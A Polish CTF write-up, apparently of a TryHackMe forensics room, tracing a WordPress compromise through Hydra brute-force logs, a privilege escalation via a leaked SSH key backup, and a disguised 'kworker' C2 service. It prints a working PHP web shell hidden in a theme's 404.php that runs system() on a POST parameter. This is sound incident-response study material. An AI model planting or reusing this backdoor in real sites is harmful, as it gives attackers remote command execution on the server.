Tag: WordPress

  • THM Honeynet Collapse – Zadanie 3

    THM Honeynet Collapse – Zadanie 3

    W CTFie Honeynet Collapse zadanie 3. to pierwszy, faktyczny zestaw pytań. Polegał on na analizie śladów włamania na maszynie linuxowej. Głównym celem początkowego ataku była instancja WordPressa, dostępna na porcie 80.

    Pytanie 1. — cel brute force-u

    • Poziom trudności: łatwy 🟢
    • Liczba punktów: 30
    • Treść: Którą stronę internetową atakujący próbował złamać metodą brute force?

    Z treści wynika, że atakujący próbował brute forcować którąś stronę WordPressa. Ataki brute force są wyjątkowo łatwe do wykrycia a odpowiedzi na to pytanie spodziewałem się w logach serwera Apache (choć od początku przeczuwałem, że chodzi o stronę logowania do panelu administracyjnego).

    Domyślny katalog przechowujący logi Apache to /var/log/apache. Komunikaty dotyczące dostępu do stron znajdują się w access.log.

    root@deceptipot-demo:~# cd /var/log/apache2/
    root@deceptipot-demo:/var/log/apache2# ls
    access.log  error.log  other_vhosts_access.log

    Po odczytaniu tego pliku, moje przypuszczenia bardzo szybko się potwierdziły:

    [...]
    167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "GET /******.php HTTP/1.0" 200 4838 "-" "Mozilla/5.0 (Hydra)"
    167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "POST /******.php HTTP/1.0" 200 5244 "-" "Mozilla/5.0 (Hydra)"
    167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "POST /******.php HTTP/1.0" 200 5244 "-" "Mozilla/5.0 (Hydra)"
    167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "POST /******.php HTTP/1.0" 200 5244 "-" "Mozilla/5.0 (Hydra)"
    167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "POST /******.php HTTP/1.0" 200 5244 "-" "Mozilla/5.0 (Hydra)"
    167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "POST /******.php HTTP/1.0" 200 5244 "-" "Mozilla/5.0 (Hydra)"
    167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "GET /******.php HTTP/1.0" 200 4838 "-" "Mozilla/5.0 (Hydra)"
    167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "GET /******.php HTTP/1.0" 200 4838 "-" "Mozilla/5.0 (Hydra)"
    167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "GET /******.php HTTP/1.0" 200 4838 "-" "Mozilla/5.0 (Hydra)"
    167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "GET /******.php HTTP/1.0" 200 4838 "-" "Mozilla/5.0 (Hydra)"
    167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "GET /******.php HTTP/1.0" 200 4838 "-" "Mozilla/5.0 (Hydra)"
    167.172.41.141 - - [27/Jun/2025:21:20:28 +0000] "POST /******.php HTTP/1.0" 200 5244 "-" "Mozilla/5.0 (Hydra)"
    167.172.41.141 - - [27/Jun/2025:21:20:28 +0000] "POST /******.php HTTP/1.0" 200 5244 "-" "Mozilla/5.0 (Hydra)"
    [...]

    Pytanie 2. — backdoor

    • Poziom trudności: średni 🟡
    • Liczba punktów: 60
    • Treść: Jaka jest bezwzględna ścieżka do pliku PHP z backdoorem?

    Atak brute force przeprowadzony przez atakującego okazał się pomyślny. Z pytania 2. wynika, że do jednego z plików PHP dodał on tylną furtkę, prawdopodobnie w postaci skryptu wykonującego polecenia powłoki (funkcja system).

    Tylko… jak ten plik znaleźć? Skoro i tak mamy otwarty już plik z logami dostępu, to może w nim znajdziemy coś na ten temat. WordPress pozwala na edycję szablonów, w tym plików PHP. W pliku access.log znajduje się zapis jednego żądania POST, które wskazuje na edycję szablonu:

    167.172.41.141 - - [27/Jun/2025:21:31:51 +0000] 
    "POST /wp-admin/admin-ajax.php HTTP/1.1" 
    200 595 
    "http://demo-web.deceptitech.thm/wp-admin/theme-editor.php?file=404.php&theme=blocksy" 
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"

    Wygląda na to, że atakujący zmodyfikował plik 404.php, w motywie blocksy. Wystarczy znaleźć ten plik i ewentualnie sprawdzić czy faktycznie zawiera furtkę.

    Instalacja WordPressa znajdowała się w domyślnym katalogu
    /var/www/html (sam WordPress był w podkatalogu wordpress).

    root@deceptipot-demo:/var/www/html/wordpress# ls
    index.php             wp-config-sample.php  wp-login.php
    license.txt           wp-config.php         wp-mail.php
    readme.html           wp-content            wp-settings.php
    wp-activate.php       wp-cron.php           wp-signup.php
    wp-admin              wp-includes           wp-trackback.php
    wp-blog-header.php    wp-links-opml.php     xmlrpc.php
    wp-comments-post.php  wp-load.php

    Nasz motyw blocksy znajduje się w katalogu wp-content/themes/blocksy. Po wyświetleniu plików w tym katalogu, widać również nasz szukany plik 404.php:

    root@deceptipot-demo:/var/www/html/wordpress/wp-content# ls
    index.php  plugins  themes  upgrade  uploads
    
    root@deceptipot-demo:/var/www/html/wordpress/wp-content# cd themes
    root@deceptipot-demo:/var/www/html/wordpress/wp-content/themes# ls
    blocksy    twentytwentyfive  twentytwentythree
    index.php  twentytwentyfour
    
    root@deceptipot-demo:/var/www/html/wordpress/wp-content/themes# cd blocksy
    
    root@deceptipot-demo:/var/www/html/wordpress/wp-content/themes/blocksy# ls
    404.php        footer.php     package.json    static
    LICENSE        functions.php  page.php        style.css
    admin          gulpfile.js    readme.txt      template-parts
    archive.php    header.php     screenshot.jpg  theme.json
    artifacts      inc            searchform.php  tutor
    changelog.txt  index.php      sidebar.php     woocommerce
    comments.php   languages      single.php      wpml-config.xml
    
    root@deceptipot-demo:/var/www/html/wordpress/wp-content/themes/blocksy# 

    Niespodzianka, na końcu pliku 404.php (który swoją drogą ma za zadanie wyświetlać stronę błędu, gdy serwer nie znalazł danego zasobu) znajduje się ten interesujący kawałek kodu:

    if (isset($_GET['doing_wp_corn']) && $_GET['doing_wp_corn'] === "t") {
        echo '<form method="POST" style="width: 500px; max-width: fit-content; margin-left: auto; margin-right: auto;">
                <input type="text" name="cmd" style="width: 300px;">
                <input type="submit" value="Run">
              </form>';
    
        if (isset($_POST['cmd'])) {
            echo '<pre style="width: 500px; margin-left: auto; margin-right: auto; white-space:pre-line;">';
            system($_POST['cmd']);
            echo "</pre>";
        }
    }

    Gdy w żądaniu pojawi się parametr „doing_wp_corn” z wartością „t„, serwer radośnie wykona podane polecenie przekazane w parametrze „cmd” (z uprawnieniami serwera Apache).

    Odpowiedzią na pytanie jest pełna ścieżka do pliku 404.php.

    Pytanie 3. — eskalacja uprawnień

    • Poziom trudności: łatwy 🟢
    • Liczba punktów: 30
    • Treść: Który plik umożliwił atakującemu uzyskanie uprawnień roota?

    W poprzednim pytaniu dowiedzieliśmy się, że atakujący uzyskał dostęp do badanego serwera z uprawnieniami serwera WWW. Teraz musimy znaleźć jak udało mu się eskalować te uprawnienia.

    Na serwerze została skonfigurowana usługa auditd, która monitorowała różne procesy zachodzące w trakcie pracy serwera. Logi tej usługi znajdowały się w pliku /var/log/auditd/audit.log.

    Dostępne są narzędzia do przeszukiwania logów auditd, ale zdecydowałem się ręcznie przeszukać plik, ponieważ był stosunkowo mały (226 linii).

    W pewnym momencie zauważyłem, że atakujący odczytał plik
    /etc/ssh/id_ed25519.bak. Przykuło to moją uwagę, ponieważ nie kojarzyłem, żeby domyślna instalacja takowy zawierała:

    type=EXECVE msg=audit(1751062057.449:533): 
    argc=2 a0="cat" a1="/etc/ssh/id_ed25519.bak"

    Użytkownicy korzystający z SSH z pewnością będą wiedzieli, co to za plik — jest to kopia prywatnego klucza SSH. Jeżeli fingerprint odpowiadającego mu klucza publicznego znajduje się w katalogu .ssh użytkownika root, to ktokolwiek posiadający ten klucz będzie w stanie zalogować się jako root do serwera.

    root@deceptipot-demo:~# cat /root/.ssh/authorized_keys 
    ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEQ2JTipuTqzOb5nmHURhOuPskuZr/jQvrpuG6QCHmdP emily
    
    root@deceptipot-demo:~# cat /etc/ssh/id_ed25519.pub 
    ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEQ2JTipuTqzOb5nmHURhOuPskuZr/jQvrpuG6QCHmdP root@deceptipot-demo

    I tak właśnie było. Administrator najwyraźniej zapomniał zabezpieczyć kopię zapasową swojego klucza SSH.

    Zatem odpowiedzią na pytanie jest ścieżka do tej kopii.

    Pytanie 4. — szukanie wirusa

    • Poziom trudności: trudny 🔴
    • Liczba punktów: 120
    • Treść: Jaki jest hash MD5 wirusa utrzymującego się na hoście?

    Z treści pytania jasno wynika, że atakujący zainstalował jakiegoś rodzaju złośliwe oprogramowanie na analizowanym hoście. Musiałem je znaleźć i podać jego hash MD5 (albo znaleźć sam hash).

    Postanowiłem odczytać dziennik systemowy za pomocą polecenia journalctl. W oczy od razu rzucił mi się komunikat z pewnej usługi:

    Jul 27 10:39:18 deceptipot-demo kworker[1234]: 2025/07/27 10:39:18 client: Retrying in 25.6s...
    Jul 27 10:40:29 deceptipot-demo kworker[1234]: 2025/07/27 10:40:29 client: Connection error: dial tcp 167.172.41.141:10443: i/o timeout (Attempt: 9/unlimited)

    Miałem wrażenie, że już gdzieś widziałem ten adres. Był to adres IP, z którego został przeprowadzony atak brute force z pytania pierwszego. Najwyraźniej ten sam adres był używany jako serwer C2.

    Nie mając wątpliwości, że znalazłem złośliwą usługę (kworker.service), wyświetliłem jej status.

    root@deceptipot-demo:~# systemctl status kworker.service 
    ● kworker.service - Kernel Hard Worker
         Loaded: loaded (/etc/systemd/system/kworker.service; enabled; preset: enabled)
         Active: active (running) since Sun 2025-07-27 10:32:06 UTC; 16min ago
       Main PID: 1234 (kworker)
          Tasks: 7 (limit: 2275)
         Memory: 13.2M (peak: 13.4M)
            CPU: 39ms
         CGroup: /system.slice/kworker.service
                 └─1234 /usr/sbin/kworker
    

    Kernel Hard Worker — bardzo przekonujący opis swoją drogą. Z opisu można wyczytać, że usługa uruchomiła plik /usr/sbin/kworker. Obliczyłem hash MD5 tego pliku i wysłałem jako odpowiedź:

    root@deceptipot-demo:/var/log# md5sum /usr/sbin/kworker 
    xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx  /usr/sbin/kworker

    Pytanie 5. — DeceptiPot (bonus)

    • Poziom trudności: trudny 🌟
    • Liczba punktów: 25
    • Treść: Czy możesz uruchomić DeceptiPot w trybie odzyskiwania?

    Bonusowym zadaniem było pozyskanie klasycznej flagi poprzez uruchomienie programu DeceptiPot (fikcyjny program, przygotowany specjalnie pod CTFa) w trybie odzyskiwania.

    Sam program znajdował się w katalogu /root. W tym samym folderze znalazłem również plik konfiguracyjny, zawierający poświadczenia, w tym klucz odzyskiwania (reckey):

    # [...] reszta pliku
    
    [security]
    # Recovery key to change DeceptiPot settings after deployment
    reckey = yyyyyyy
    # Disables all DeceptiPot security features, use with caution
    debugmode = true

    Samo użycie klucza było banalne:

    root@deceptipot-demo:~/deceptipot# /usr/bin/deceptipot  -h
    Usage of /usr/bin/deceptipot:
      -d          Daemonize
      -r string   Recovery Key
    root@deceptipot-demo:~/deceptipot# /usr/bin/deceptipot -r yyyyyyy
    Loading... Access granted: THM{xxxxxxxxxxxxxxxxxxxxx}